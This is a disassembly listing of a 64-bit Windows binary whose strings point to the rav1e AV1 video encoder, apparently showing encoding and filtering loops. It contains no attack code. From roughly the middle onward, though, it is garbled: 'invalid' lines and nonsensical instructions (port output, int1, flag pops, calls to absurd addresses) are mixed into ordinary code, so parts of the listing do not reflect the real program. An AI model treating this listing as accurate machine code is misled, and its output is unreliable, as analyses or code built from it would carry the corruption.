mov r15, qword [r9 - 8]
mov qword [rbp + 0x31f0], r15
mov qword [rbp + 0x31c0], rcx
movups xmmword [rbp + 0x31c8], xmm0
mov qword [rbp + 0x31d8], rax
mov qword [rbp + 0x31e0], rdx
mov qword [rbp + 0x3658], r8
and qword [rbp + 0x3660], 0
mov qword [rbp + 0x31e8], r9
and qword [r8 + 0x10], 0
mov qword [rbp + 0x3668], r15
mov qword [rbp + 0x3670], r15
cmp qword [r8], r15
jb 0x1400f33d5
mov r14, qword [rbp + 0x3598]
mov qword [rbp + 0x31b0], r14
mov qword [rbp + 0x31b8], r15
mov byte [rbp + 0x36a6], 1
mov rcx, r15
call fcn.14009b194
mov byte [rbp + 0x36a6], 0
lea rdi, [rbp + 0x31c0]
mov qword [rsp + 0x38], rdi
mov qword [rsp + 0x30], r15
mov qword [rsp + 0x28], r14
mov qword [rsp + 0x20], 1
lea r14, [rbp + 0x33d0]
mov rcx, r14
mov rdx, r15
xor r8d, r8d
mov r9, rax
call fcn.1400fb7b0
lea rcx, [rbp + 0x3658]
call fcn.1400fb6a8
mov byte [rbp + 0x36b5], 0
lea rcx, [rbp + 0x3590]
call fcn.1400bf5bc
mov rcx, qword [rbp + 0x2e78]
call fcn.1400bf69e
mov rax, qword [rbp + 0x2e78]
mov qword [rax], 1
movups xmm0, xmmword [rbp + 0x33d0]
movups xmmword [rax + 8], xmm0
mov rcx, qword [rbp + 0x33e0]
mov qword [rax + 0x18], rcx
mov rax, qword [rbp + 0x33f8]
mov qword [rbp + 0x33d0], rax
cmp rax, rsi
jne 0x1400f33f0
add qword [rbp + 0x35d8], rsi
movups xmm0, xmmword [rbp + 0x3550]
movups xmm1, xmmword [rbp + 0x3560]
lea rdx, [rbp + 0x2e50]
movaps xmmword [rdx + 0x10], xmm1
movaps xmmword [rdx], xmm0
mov byte [rbp + 0x36b3], 0
lea rcx, [rbp + 0x31c0]
call fcn.1400bf667
mov rax, qword [rbp + 0x31d0]
mov qword [rbp + 0x33d0], rax
cmp rax, rbx
jne 0x1400f3457
mov r12b, r13b
lea rax, [r12*2 + 1]
mov qword [rbp + 0x3678], rax
mov rax, qword [rbp + 0x31d0]
lea rsi, [rbp + 0x2e50]
mov qword [rsi + 0x10], rax
movups xmm0, xmmword [rbp + 0x31c0]
movaps xmmword [rsi], xmm0
mov rcx, rsi
call fcn.1400bf593
add rbx, qword [rbp + 0x34a0]
mov qword [rbp + 0x34a0], rbx
mov qword [rbp + 0x35a0], rbx
movups xmm0, xmmword [rbp + 0x3490]
movaps xmmword [rbp + 0x3590], xmm0
mov rax, qword [rbp + 0x35c8]
mov r14, qword [rbp + 0x35d0]
imul r15, qword [rbp + 0x35d8], 0x358
lea rdi, [r14 + r15]
mov qword [rbp + 0x2b00], r14
mov qword [rbp + 0x2b10], rax
mov qword [rbp + 0x2b18], rdi
mov rax, qword [rbp + 0x36a8]
lea rbx, [rax + 0x10]
xor r12d, r12d
cmp r15, r12
je 0x1400f194f
lea rdx, [r14 + r12]
mov r8d, 0x358
mov rcx, rsi
call sub.VCRUNTIME140.dll_memcpy
mov rcx, rbx
mov rdx, rsi
call fcn.14007a53c
add r12, 0x358
jmp 0x1400f1924
lea rcx, [rbp + 0x2b00]
mov qword [rcx + 8], rdi
call fcn.1400b70e7
mov rcx, qword [rbp + 0x36a8]
mov rax, qword [rcx + 0x4b8]
mov rdi, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400f3768
mov qword [rbp + 0x3620], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3690], dl
mov qword [rbp + 0x3680], rax
add rax, 0x10
mov rdx, qword [rbp + 0x36a8]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.1400906c0
movups xmm0, xmmword [rbp + 0x2f70]
movups xmm1, xmmword [rbp + 0x2f80]
movups xmm2, xmmword [rbp + 0x2f90]
movups xmm3, xmmword [rbp + 0x2fa0]
movups xmmword [rbp + 0x31d0], xmm1
movups xmmword [rbp + 0x31e0], xmm2
movups xmm1, xmmword [rbp + 0x2fb0]
movups xmmword [rbp + 0x3200], xmm1
movups xmm1, xmmword [rbp + 0x2fc0]
movups xmmword [rbp + 0x3210], xmm1
movups xmm1, xmmword [rbp + 0x2fd0]
movups xmm2, xmmword [rbp + 0x2fe0]
movups xmmword [rbp + 0x3230], xmm2
movups xmm2, xmmword [rbp + 0x2ff0]
movups xmmword [rbp + 0x3240], xmm2
movups xmmword [rbp + 0x31c0], xmm0
movups xmmword [rbp + 0x31f0], xmm3
movups xmmword [rbp + 0x3220], xmm1
mov r10, qword [rbp + 0x2ec0]
mov rbx, qword [r10 + 0x20]
mov rsi, qword [r10 + 0x28]
lea r11, [r10 + 0x10]
xor edx, edx
movabs r15, 0x8000000000000001
test rbx, rbx
je 0x1400f1af3
mov edi, 0
mov eax, 0
test rsi, rsi
je 0x1400f1af7
mov rax, qword [r10 + 0x50]
cmp rax, r15
jae 0x1400f34d5
mov rcx, qword [r10 + 0x58]
cmp rcx, r15
jae 0x1400f34f0
lea r8, [rax + rbx]
mov rdx, qword [r11]
cmp r8, rdx
jg 0x1400f350b
lea r8, [rcx + rsi]
cmp r8, qword [r10 + 0x18]
jg 0x1400f3541
mov r8, qword [r10]
imul rdx, rcx
lea rcx, [r8 + rdx*2]
lea rdx, [rcx + rax*2]
mov rdi, rsi
mov rax, rbx
jmp 0x1400f1af7
xor edi, edi
xor eax, eax
mov qword [rbp + 0x3650], rax
mov cl, byte [r10 + 0x90]
mov al, byte [r10 + 0x98]
mov r8, rbx
shr r8, cl
mov r9, rsi
mov ecx, eax
shr r9, cl
lea rax, [r10 + 0x70]
mov qword [rbp + 0x3698], rax
xor r12d, r12d
cmp qword [r10 + 0x80], 0
je 0x1400f1ba5
cmp qword [r10 + 0x88], 0
mov r13d, 0
mov r14d, 0
je 0x1400f1bab
mov rax, qword [r10 + 0xb0]
cmp rax, r15
jae 0x1400f3526
mov rcx, qword [r10 + 0xb8]
cmp rcx, r15
jae 0x1400f355c
lea r12, [rax + r8]
mov r14, qword [rbp + 0x3698]
mov r14, qword [r14]
cmp r12, r14
jg 0x1400f3577
lea r12, [rcx + r9]
cmp r12, qword [r10 + 0x78]
jg 0x1400f35ad
mov r12, qword [r10 + 0x60]
imul r14, rcx
lea rcx, [r12 + r14*2]
lea r12, [rcx + rax*2]
mov r13, r9
mov r14, r8
jmp 0x1400f1bab
xor r13d, r13d
xor r14d, r14d
mov cl, byte [r10 + 0xf0]
mov al, byte [r10 + 0xf8]
shr rbx, cl
mov ecx, eax
shr rsi, cl
lea rax, [r10 + 0xd0]
xor ecx, ecx
cmp qword [r10 + 0xe0], 0
je 0x1400f1c5f
cmp qword [r10 + 0xe8], 0
mov r8d, 0
mov r9d, 0
je 0x1400f1c65
mov r9, r15
mov rcx, qword [r10 + 0x110]
cmp rcx, r15
jae 0x1400f3592
mov r8, qword [r10 + 0x118]
cmp r8, r9
jae 0x1400f35c8
mov r15, rdi
mov rdi, rdx
mov rdx, r11
lea r11, [rcx + rbx]
mov r9, qword [rax]
cmp r11, r9
jg 0x1400f35e3
lea r11, [r8 + rsi]
cmp r11, qword [r10 + 0xd8]
jg 0x1400f35fe
mov r10, qword [r10 + 0xc0]
imul r9, r8
lea r8, [r10 + r9*2]
lea rcx, [r8 + rcx*2]
mov r8, rsi
mov r9, rbx
mov r11, rdx
mov rdx, rdi
mov rdi, r15
jmp 0x1400f1c65
xor r8d, r8d
xor r9d, r9d
mov qword [rbp + 0x2b00], r11
mov qword [rbp + 0x2b08], rdx
xorps xmm0, xmm0
movups xmmword [rbp + 0x2b10], xmm0
mov rdx, qword [rbp + 0x3650]
mov qword [rbp + 0x2b20], rdx
mov qword [rbp + 0x2b28], rdi
mov rdx, qword [rbp + 0x3698]
mov qword [rbp + 0x2b30], rdx
mov qword [rbp + 0x2b38], r12
movups xmmword [rbp + 0x2b40], xmm0
mov qword [rbp + 0x2b50], r14
mov qword [rbp + 0x2b58], r13
mov qword [rbp + 0x2b60], rax
mov qword [rbp + 0x2b68], rcx
movups xmmword [rbp + 0x2b70], xmm0
mov qword [rbp + 0x2b80], r9
mov qword [rbp + 0x2b88], r8
lea rcx, [rbp + 0x3570]
mov rsi, qword [rcx + 0x10]
mov rdi, qword [rcx + 0x18]
call fcn.1400b94fb
mov r15, qword [rbp + 0x3688]
lea r12, [rbp - 0x40]
test rdx, rdx
je 0x1400f325a
lea r9, [rbp + 0x33d0]
mov qword [r9], rax
xorps xmm0, xmm0
movups xmmword [r9 + 8], xmm0
mov qword [r9 + 0x18], rsi
mov qword [r9 + 0x20], rdi
mov qword [r9 + 0x28], rsi
mov qword [r9 + 0x30], rdi
movups xmm0, xmmword [r15 + 0x240]
movups xmmword [rsp + 0x20], xmm0
lea rdx, [rbp + 0x31c0]
lea r8, [rbp + 0x2b00]
mov rcx, r15
call fcn.1400f8463
mov esi, eax
lea rcx, [rbp + 0x2e50]
call fcn.1400880b1
mov rcx, qword [rbp + 0x3680]
mov dl, byte [rbp + 0x3690]
call fcn.14009d783
lea rcx, [rbp + 0x3620]
call fcn.14009aea4
mov rax, qword [rbp + 0x36a8]
mov dword [rax + 0x30e8], esi
test si, si
je 0x1400f1ed7
mov rcx, qword [rbp + 0x36a8]
mov rax, qword [rcx + 0x4b8]
mov rdi, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400f3768
mov qword [rbp + 0x31c0], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3698], dl
mov qword [rbp + 0x3690], rax
add rax, 0x10
mov rdx, qword [rbp + 0x36a8]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.1400906c0
mov rsi, qword [rbp + 0x2f68]
lea rcx, [rbp + 0x3570]
mov rdi, qword [rcx + 0x10]
mov rbx, qword [rcx + 0x18]
call fcn.1400b94fb
test rdx, rdx
je 0x1400f326f
lea rdx, [rbp + 0x2f70]
movups xmm0, xmmword [rbp + 0x3580]
lea r8, [rbp + 0x2b00]
mov qword [r8], rax
xorps xmm1, xmm1
movups xmmword [r8 + 8], xmm1
mov qword [r8 + 0x18], rdi
mov qword [r8 + 0x20], rbx
movups xmmword [r8 + 0x28], xmm0
mov r9, qword [r15 + 0x240]
mov rax, qword [r15 + 0x248]
mov rcx, qword [r15 + 0x2b0]
mov rcx, qword [rcx + 0x1f0]
mov r10, qword [rbp + 0x3678]
mov qword [rsp + 0x30], r10
mov qword [rsp + 0x28], rcx
mov qword [rsp + 0x20], rax
mov rcx, rsi
call fcn.1400f7281
lea rcx, [rbp + 0x2e50]
call fcn.1400880b1
mov rcx, qword [rbp + 0x3690]
mov dl, byte [rbp + 0x3698]
call fcn.14009d783
lea rcx, [rbp + 0x31c0]
call fcn.14009aea4
mov rax, qword [rbp + 0x35f8]
cmp byte [rax + 0x26e], 0
push 0x40
pop rcx
mov qword [rbp + 0x3500], rcx
je 0x1400f2b69
mov rax, qword [rbp + 0x36a8]
mov rdx, qword [rax + 0x4b8]
add rdx, 0x10
lea rcx, [rbp + 0x2b00]
call fcn.140091c23
mov rax, qword [rbp + 0x35f8]
cmp byte [rax + 0x26d], 0
mov rcx, qword [rbp + 0x36a8]
je 0x1400f2045
mov rax, qword [rcx + 0x4b8]
mov rdi, qword [rax + 0x30]
mov rbx, qword [rax + 0x38]
mov rdx, qword [rcx + 0x4c0]
lock inc qword [rdx]
jle 0x1400f3768
mov qword [rbp + 0x33d0], rdx
add rdx, 0x10
lea rsi, [rbp + 0x2e50]
mov rcx, rsi
call fcn.14009d7be
lea rdx, str.C:Users_admin.cargo_registry_srcindex.crates.io_6f17d22bba15001f_rav1e_0.7.1_srcencoder.rs
mov rcx, rsi
call fcn.14009d90e
and dl, 1
mov byte [rbp + 0x3698], dl
mov qword [rbp + 0x3690], rax
add rax, 0x10
mov rdx, qword [rbp + 0x36a8]
mov rcx, qword [rdx]
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x30], rbx
mov qword [rsp + 0x28], rdi
mov qword [rsp + 0x20], rcx
lea rcx, [rbp + 0x2e50]
xor r8d, r8d
xor r9d, r9d
call fcn.1400906c0
lea rcx, [rbp + 0x3570]
mov rsi, qword [rcx + 0x10]
mov rdi, qword [rcx + 0x18]
call fcn.1400b94fb
test rdx, rdx
je 0x1400f32ac
movups xmm0, xmmword [rbp + 0x3580]
lea r8, [rbp + 0x31c0]
mov qword [r8], rax
xorps xmm1, xmm1
movups xmmword [r8 + 8], xmm1
mov qword [r8 + 0x18], rsi
mov qword [r8 + 0x20], rdi
movups xmmword [r8 + 0x28], xmm0
lea r9, [rbp + 0x2f70]
lea rdx, [rbp + 0x2b00]
mov rcx, r15
call fcn.1400f61e8
lea rcx, [rbp + 0x2e50]
call fcn.1400880b1
mov rcx, qword [rbp + 0x3690]
mov dl, byte [rbp + 0x3698]
call fcn.14009d783
lea rcx, [rbp + 0x33d0]
call fcn.14009aea4
mov rcx, qword [rbp + 0x36a8]
mov rdi, qword [rcx + 0x4b8]
push 1
pop rax
push 0xffffffffffffffff
pop rcx
lock cmpxchg qword [rdi + 8], rcx
jne 0x1400f33c4
mov rax, qword [rdi]
mov qword [rdi + 8], 1
cmp rax, 1
jne 0x1400f33c4
add rdi, 0x10
lea rcx, [rbp + 0x2e50]
mov rdx, rdi
call fcn.140091c23
mov r14, qword [r15 + 0x248]
mov rax, qword [r15 + 0x2b0]
xor esi, esi
mov qword [rbp + 0x3600], rax
cmp dword [rax + 0x230], 3
setne bl
lea rcx, [rbp + 0x3620]
mov edx, 0x6e40
call fcn.140091d62
mov rax, qword [rbp + 0x36a8]
add rax, 0x368
mov qword [rbp + 0x3380], rax
mov sil, bl
lea rax, [rsi*2 + 1]
lea rcx, [r14 + 7]
shr rcx, 6
mov qword [rbp + 0x3358], rcx
mov rcx, qword [r15 + 0x240]
mov qword [rbp + 0x3388], rcx
xorps xmm6, xmm6
xor edx, edx
mov r9, r14
mov qword [rbp + 0x3330], rdi
mov qword [rbp + 0x33c0], r14
mov qword [rbp + 0x33c8], rax
cmp rdx, rax
jae 0x1400f31e2
imul rax, rdx, 0x60
lea r10, [rdi + rax]
add r10, 0x10
mov cl, byte [r10 + 0x20]
push 1
pop r8
mov r11, r8
shl r11, cl
lea rsi, [rdx + 1]
mov qword [rbp + 0x33b8], rsi
shr r11, 1
add r11, qword [rbp + 0x3388]
shr r11, cl
imul rdx, rdx, 0x68
mov qword [rbp + 0x3518], r10
mov rcx, qword [r10 + 0x28]
and ecx, 0x3f
shl r8, cl
add rdx, qword [rbp + 0x3380]
mov qword [rbp + 0x34d8], rdx
lea rdx, [rdi + rax]
mov qword [rbp + 0x3678], rdx
shr r8, 1
add r8, r9
shr r8, cl
lea rdx, [rax + rbp]
add rdx, 0x2e50
mov qword [rbp + 0x35f0], rdx
xchg ebp, eax
invalid
xor eax, 0x8d480000
test byte [0x1400f4c9d], al
mov qword [rbp + 0x35e0], rax
push 0x40
pop rax
shr rax, cl
mov qword [rbp + 0x33a0], rax
movabs al, byte [0x894858386a000033]
lea ebx, [rax + 0x48000033]
shr eax, cl
mov qword [rbp + 0x33a8], rax
lea rax, [r11 + 3]
mov qword [rbp + 0x34f0], rax
mov dword [rbp + 0x34f0], eax
mov qword [rbp + 0x3508], r8
lea rax, [r8 - 1]
mov qword [rbp + 0x34c8], rax
mov rax, r11
mov qword [rbp + 0x3650], r11
popfq
push rax
add byte ss:[rax], al
lea rax, [r11 - 1]
mov qword [rbp + 0x34d0], rax
xor eax, eax
cmp rax, qword [rbp + 0x3358]
ja 0x1400f2b4f
test rax, rax
mov qword [rbp + 0x34e0], rax
je 0x1400f224b
mov rbx, rax
shl rbx, 6
add rbx, 0xfffffffffffffff8
mov rcx, qword [rbp + 0x3398]
shr rbx, cl
mov rdx, qword [rbp + 0x3508]
mov r9, rdx
ror dword [rcx + 0x29], 1
invalid
mov rax, qword [rbp + 0x33a0]
cmp rax, r9
cmovb r9, rax
mov rax, qword [rbp + 0x34e0]
jmp 0x1400f225b
xor ebx, ebx
mov r9, qword [rbp + 0x33a8]
mov rdx, qword [rbp + 0x3508]
inc rax
mov qword [rbp + 0x33b0], rax
mov rax, rdx
sub rax, rbx
fmul dword [rax - 0x77]
test dword [rax + 0x48000033], edx
mov eax, ebx
neg rax
test rbx, rbx
mov ecx, 0
cmovg rcx, rbx
mov qword [rbp + 0x3360], rcx
invalid
xor eax, dword [rax]
add byte [rcx - 0x77], cl
fimul dword [rcx - 0x3f]
cli
invalid
and r10, rax
lea r11, [rbx + r9]
mov rcx, rdx
sub rcx, r10
sub rcx, rbx
mov rsi, r9
sub rsi, r10
mov qword [rbp + 0x3300], r11
cmp r11, rdx
cmovg rsi, rcx
mov rax, qword [rbp + 0x34d8]
mov rcx, qword [rax + 0x50]
test rsi, rsi
mov eax, 0
cmovle rsi, rax
lea rax, [rcx - 1]
mov qword [rbp + 0x3320], rax
lea rax, [rbx - 3]
mov qword [rbp + 0x3338], rax
lea rax, [rbx + r9 + 4]
mov qword [rbp + 0x32f0], rax
lea rax, [rbx + r9 + 1]
mov qword [rbp + 0x3310], rax
lea rax, [rbx - 2]
mov qword [rbp + 0x3308], rax
mov qword [rbp + 0x3368], r10
mov qword [rbp + 0x3370], rsi
lea rax, [rsi + r10]
mov qword [rbp + 0x3378], rax
xor eax, eax
mov qword [rbp + 0x34e8], rax
xor r8d, r8d
mov qword [rbp + 0x3680], rbx
mov qword [rbp + 0x3510], r9
mov qword [rbp + 0x3328], rcx
cmp r8, rcx
jae 0x1400f2b3f
mov rcx, qword [rbp + 0x34d8]
mov rdi, qword [rcx + 0x20]
mov r12, rdi
imul r12, r8
mov r14, qword [rbp + 0x3650]
sub r14, r12
cmp r8, qword [rbp + 0x3320]
mov rbx, rdi
cmove rdi, r14
mov rdx, qword [rbp + 0x34e0]
mov qword [rbp + 0x3318], r8
test dword [rax], ebx
xor eax, dword [rax]
add al, ch
xchg ebp, eax
push 0xffffffffb60ffff8
or byte [rbx - 0x7bf0fd07], al
test al, 5
add byte [rax], al
cmp ecx, 1
jne 0x1400f2b14
add byte [rax], al
mov ecx, dword [rax + 1]
movzx eax, word [rax + 5]
mov word [rbp + 0x3494], ax
mov dword [rbp + 0x3490], ecx
mov rax, qword [rbp + 0x3600]
mov r14, qword [rax + 0x1f0]
xor ecx, ecx
xor eax, eax
cmp r14, 0xc
setne cl
sete al
lea rax, [rax + rax + 3]
mov rdx, rax
mov qword [rbp + 0x34c0], rax
not eax
add eax, r14d
add eax, 7
lea ecx, [r14 + rcx*2]
add ecx, 0x23
and ecx, 0x1f
xor edx, edx
cmp rdx, 0x18
je 0x1400f240b
and dword [rbp + rdx + 0x3558], 0
and qword [rbp + rdx + 0x3550], 0
add rdx, 0xc
jmp 0x1400f23ee
push 0xffffffffffffffff
pop rdx
shl edx, cl
mov r15d, edx
lea rcx, [rbp + 0x3490]
lea rdx, [rbp + 0x3550]
xor r8d, r8d
cmp r8, 2
je 0x1400f244e
xor r9d, r9d
cmp r9, 3
je 0x1400f2441
movsx r10d, byte [rcx + r9]
mov dword [rdx + r9*4], r10d
inc r9
jmp 0x1400f242d
inc r8
add rdx, 0xc
add rcx, 3
jmp 0x1400f2424
xor edx, edx
cmp r14, 0xc
setne dl
push 1
pop r13
mov ecx, eax
shl r13d, cl
lea esi, [rdx*2 + 9]
not r15d
mov r8d, 0x11c
lea rcx, [rbp + 0x31c0]
xor edx, edx
call sub.VCRUNTIME140.dll_memset
mov eax, dword [rbp + 0x3550]
mov ecx, dword [rbp + 0x3554]
mov edx, dword [rbp + 0x3558]
lea r8d, [rcx + rax]
add r8d, edx
add r8d, r8d
mov r9d, 0x80
sub r9d, r8d
mov dword [rbp + 0x3658], eax
mov dword [rbp + 0x365c], ecx
mov dword [rbp + 0x3660], edx
mov dword [rbp + 0x3664], r9d
mov dword [rbp + 0x3668], edx
mov dword [rbp + 0x366c], ecx
mov dword [rbp + 0x3670], eax
mov eax, dword [rbp + 0x355c]
mov ecx, dword [rbp + 0x3560]
mov edx, dword [rbp + 0x3564]
lea r8d, [rcx + rax]
add r8d, edx
add r8d, r8d
mov r9d, 0x80
sub r9d, r8d
mov dword [rbp + 0x3520], eax
mov dword [rbp + 0x3524], ecx
mov dword [rbp + 0x3528], edx
mov dword [rbp + 0x352c], r9d
mov dword [rbp + 0x3530], edx
xchg ebp, eax
xor byte [0xcd982514], dh
xor al, 0x35
add byte [rax], al
mov dword [rbp + 0x3538], eax
add rdi, r12
out 0x6a, eax
add dword [rdx - 0x77], ebx
ror byte [rax - 0x75], 1
invalid
sal byte [rax + rax], 0
xor al, 0
add bl, dl
loopne 0x1400f2501
call 0x175c7aabe
add byte [rax], al
sub r15d, r13d
mov dword [rbp + 0x35b0], r15d
mov al, 0x35
add byte [rax], al
neg r13d
mov dword [rbp + 0x35b4], r13d
mov ah, 0x35
add byte [rax], al
mov dword [rbp + 0x35bc], esi
mov ecx, esi
shl edx, cl
push 0xffffffffffffffff
pop rax
mov ecx, r14d
int1
shl eax, cl
shr edx, 1
mov dword [rbp + 0x35c0], edx
not eax
mov dword [rbp + 0x35c4], eax
imul rbx, qword [rbp + 0x34e8]
add rbx, qword [rbp + 0x34f0]
popfq
invalid
xor al, 0
add byte [rax - 0x77], cl
mov ebp, 0x35e8
cmp rbx, 7
push 7
pop rax
mov rcx, rax
mov qword [rbp + 0x3340], rbx
cmovl rcx, rbx
mov qword [rbp + 0x32f8], rcx
cmp r12, rdi
jae 0x1400f2b14
lea rcx, [r12 + 1]
mov qword [rbp + 0x3348], rcx
mov qword [rbp + 0x35c8], r12
mov rcx, qword [rbp + 0x34f0]
sub rcx, r12
cmp rcx, 7
cmovge rcx, rax
mov qword [rbp + 0x3698], rcx
mov r13, qword [rbp + 0x3338]
mov r10, qword [rbp + 0x3678]
mov r11, qword [rbp + 0x3680]
cmp r13, qword [rbp + 0x32f0]
jge 0x1400f27dc
mov rax, r13
sub rax, r11
mov qword [rbp + 0x3690], rax
jge 0x1400f263b
mov rax, qword [rbp + 0x34c8]
cmp r13, rax
cmovl rax, r13
test r13, r13
mov edx, 0
cmovns rdx, rax
mov rax, qword [rbp + 0x3308]
cmp rdx, rax
cmovle rdx, rax
mov rcx, qword [rbp + 0x35e0]
call fcn.1400f618c
jmp 0x1400f2686
mov rax, qword [rbp + 0x34c8]
cmp r13, rax
cmovl rax, r13
test r13, r13
mov edx, 0
cmovns rdx, rax
cmp r13, qword [rbp + 0x3300]
jge 0x1400f266c
mov rcx, qword [rbp + 0x35f0]
call fcn.1400f618c
jmp 0x1400f2686
mov rax, qword [rbp + 0x3310]
cmp rdx, rax
cmovge rdx, rax
mov rcx, qword [rbp + 0x35e0]
call fcn.1400f618c
mov rsi, rax
mov rbx, rdx
test rdx, rdx
je 0x1400f31ff
cmp qword [rbp + 0x34d0], rbx
jae 0x1400f3214
inc r13
movzx eax, word [rsi]
mov rcx, qword [rbp + 0x3650]
movzx r14d, word [rsi + rcx*2 - 2]
push 3
pop rdi
sub rdi, qword [rbp + 0x35c8]
xor ecx, ecx
test rdi, rdi
mov r12d, 0
cmovg r12, rdi
xor r15d, r15d
cmp r12, rcx
je 0x1400f26f2
cmp rcx, 7
je 0x1400f2cdd
mov edx, dword [rbp + rcx*4 + 0x3520]
imul edx, eax
inc rcx
add r15d, edx
jmp 0x1400f26d1
lea rcx, [rbp + 0x3520]
mov rdx, r12
mov r8, qword [rbp + 0x3698]
call fcn.1400b94b0
mov rcx, r12
sub rcx, rdi
mov r9, qword [rbp + 0x3698]
sub r9, rdi
cmp rcx, r9
ja 0x1400f3318
cmp r9, rbx
ja 0x1400f3301
lea rcx, [rsi + rcx*2]
mov r8, qword [rbp + 0x32f8]
sub r8, r12
btr r8, 0x3f
cmp rdx, r8
cmovb r8, rdx
xor edx, edx
mov r10, qword [rbp + 0x3678]
mov r11, qword [rbp + 0x3680]
cmp r8, rdx
je 0x1400f276b
movzx r9d, word [rcx + rdx*2]
imul r9d, dword [rax + rdx*4]
inc rdx
add r15d, r9d
jmp 0x1400f2754
mov rcx, qword [rbp + 0x3698]
mov rdx, qword [rbp + 0x3690]
cmp rcx, 7
jge 0x1400f2798
jae 0x1400f2cf4
mov eax, dword [rbp + rcx*4 + 0x3520]
imul eax, r14d
inc rcx
add r15d, eax
jmp 0x1400f2779
lea rax, [rdx + 3]
cmp rax, 0x47
jae 0x1400f322f
add r15d, dword [rbp + 0x35b8]
mov rcx, qword [rbp + 0x34c0]
sar r15d, cl
mov eax, dword [rbp + 0x35b0]
cmp r15d, eax
cmovl eax, r15d
mov ecx, dword [rbp + 0x35b4]
cmp r15d, ecx
cmovl eax, ecx
mov dword [rbp + rdx*4 + 0x31cc], eax
jmp 0x1400f25e9
lea rax, [rbp + 0x33d8]
and qword [rax + 0x40], 0
movups xmmword [rax + 0x30], xmm6
lea rax, [rbp + 0x35c8]
mov qword [rbp + 0x33d0], rax
mov qword [rbp + 0x33d8], r10
and qword [rbp + 0x33e0], 0
mov rax, qword [rbp + 0x3360]
mov qword [rbp + 0x33e8], rax
mov rax, qword [rbp + 0x3370]
mov qword [rbp + 0x33f0], rax
mov rax, qword [rbp + 0x3378]
mov qword [rbp + 0x3400], rax
mov r14, qword [rbp + 0x3368]
mov rdi, qword [rbp + 0x35e8]
cmp r14, rax
jae 0x1400f2924
lea rax, [r14 + 1]
mov qword [rbp + 0x33f8], rax
mov rax, qword [rbp + 0x33f0]
test rax, rax
je 0x1400f2924
dec rax
mov qword [rbp + 0x33f0], rax
lea rcx, [rbp + 0x33d8]
call fcn.1400f6138
mov rsi, rax
test rax, rax
mov rdi, qword [rbp + 0x35e8]
je 0x1400f2924
mov rax, qword [rbp + 0x33d0]
mov rbx, qword [rax]
cmp rbx, rdx
jae 0x1400f3246
lea r8, [r14 + 7]
lea rcx, [rbp + 0x31c0]
mov rdx, r14
call fcn.1400b942b
cmp rdx, 7
push 7
pop rcx
cmovae rdx, rcx
cmovae edx, ecx
xor ecx, ecx
xor r8d, r8d
mov rdi, qword [rbp + 0x35e8]
cmp rdx, rcx
je 0x1400f28e5
mov r9d, dword [rax + rcx*4]
imul r9d, dword [rbp + rcx*4 + 0x3658]
pop rax
add byte ss:[rax], al
inc rcx
add r8d, r9d
jmp 0x1400f28cb
add r8d, dword [rbp + 0x35c0]
mov ecx, dword [rbp + 0x35bc]
sar r8d, cl
mov eax, dword [rbp + 0x35c4]
test esp, eax
xor eax, 0x39410000
rol byte [rcx + 0xf], 0x4c
rol byte [rbp - 0x7b], 0xc0
mov ecx, 0
cmovs eax, ecx
mov word [rsi + rbx*2], ax
mov r14, qword [rbp + 0x33f8]
mov ch, 0xf8
xor eax, dword [rax]
add byte [rax - 0x75], cl
test dword [rax], eax
xor al, 0
add cl, ch
invalid
invalid
invalid
invalid
mov rbx, qword [rbp + 0x3340]
dec rbx
mov r12, qword [rbp + 0x3348]
jmp 0x1400f2583
mov rcx, qword [rbp + 0x3600]
cmp byte [rcx + 0x26d], 0
je 0x1400f2b14
mov bl, byte [rax + 1]
mov si, word [rax + 2]
mov rax, qword [rbp + 0x35f0]
invalid
xor eax, 0x89480000
test eax, edx
xor eax, dword [rax]
add byte [rcx + rcx*4 - 0x5b], cl
fdiv dword [rbx]
add byte [rax], al
mov rcx, qword [rbp + 0x3680]
mov qword [rbp + 0x33e0], rcx
xor eax, dword [rax]
add byte [rax - 0x75], cl
test eax, esp
xor eax, 0x89480000
test eax, eax
xor dword [rax], eax
add byte [rcx + rcx*4 - 0x5b], cl
enter 0x31, 0
mov qword [rbp + 0x31d0], rcx
add byte [rax], al
lea rax, [rbp + 0x31c0]
mov qword [rsp + 0x38], rax
lea rax, [rbp + 0x33d0]
mov qword [rsp + 0x30], rax
mov rax, qword [rbp + 0x3510]
adc byte [0xc95729b5], dh
and al, 0x28
mov qword [rsp + 0x20], rdi
mov edx, 0x188
lea rcx, [rbp + 0x3620]
mov r8, r14
mov r9, qword [rbp + 0x3390]
call fcn.1400f49b2
mov rax, qword [rbp + 0x35f0]
mov qword [rbp + 0x33d0], rax
add byte [rax], al
mov qword [rbp + 0x33d8], r12
mov rax, qword [rbp + 0x3680]
mov qword [rbp + 0x33e0], rax
mov r9, qword [rbp + 0x3678]
add byte [rcx - 0x7d], cl
jns 0x1400f2a26
add byte [rdi], cl
invalid
scasb al, byte [rdi]
add byte [rax], al
invalid
cmp qword [r9 + 0x28], 0
je 0x1400f2abb
mov rax, qword [r9 + 0x50]
mov rcx, rax
ror dword [rax - 9], 0xd9
invalid
cmp r12, rcx
jl 0x1400f36df
mov rcx, qword [r9 + 0x58]
mov rdx, rcx
neg rdx
cmp qword [rbp + 0x3680], rdx
add byte ss:[rax], al
